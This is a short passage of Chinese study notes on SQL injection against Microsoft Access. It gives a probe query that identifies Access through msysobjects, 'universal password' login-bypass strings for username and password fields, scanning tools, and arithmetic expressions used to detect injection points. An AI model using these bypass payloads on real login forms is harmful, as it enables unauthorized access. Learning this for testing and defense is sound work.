ACCESS没有数据库,文件型数据库
ACCESS
语法指南
https://support.microsoft.com/zh-cn/office/%E8%A1%A8%E8%BE%BE%E5%BC%8F%E8%AF%AD%E6%B3%95%E6%8C%87%E5%8D%97-ebc770bc-8486-4adc-a9ec-7427cce39a90
Office 2007
之前的 Access
数据库文件的后缀是 .mdb
Office 2007
之后 Access
数据库文件的后缀是.accdb
exists(select*from msysobjects)
#如果这条语句正确,说明是Access数据库
exists(select*from admin)
# 自建的数据库是没有msysobjects
'and exists(select*from msysobjects)
'or'='or' # 通杀万能密码
admin'or'1'='1 # 注入点在username,需要知道一个用户名。
'or'1'='1 # 注入点在password,不需要任何信息。
1、 fuzz 字典
1.1、通过表达式闭合或者报错发现
1.2、通过算术运算符或逻辑运算发现
2、 被动扫描工具
xray
,burpsuite
等
3、 主动扫工具
sqlmap
,awvs
等
构造返回值为==数字类型==能被SQL
正常执行,存在sql
注入。
==加减乘除==配合==算术运算函数==构造表达式。
SELECT * FROM [admin] WHERE ID = SQRT(4)/2;
SELECT * FROM [admin] WHERE ID = ABS(4)/2;
ABS(number) # 绝对值函数
SQRT(number) # 平方根函数
CEILING(number) #向上取整函数
表达式1 AND 表达式2 # 当表达式1为真才会执行表达式2
表达式1 OR 表达式2 # 当表达式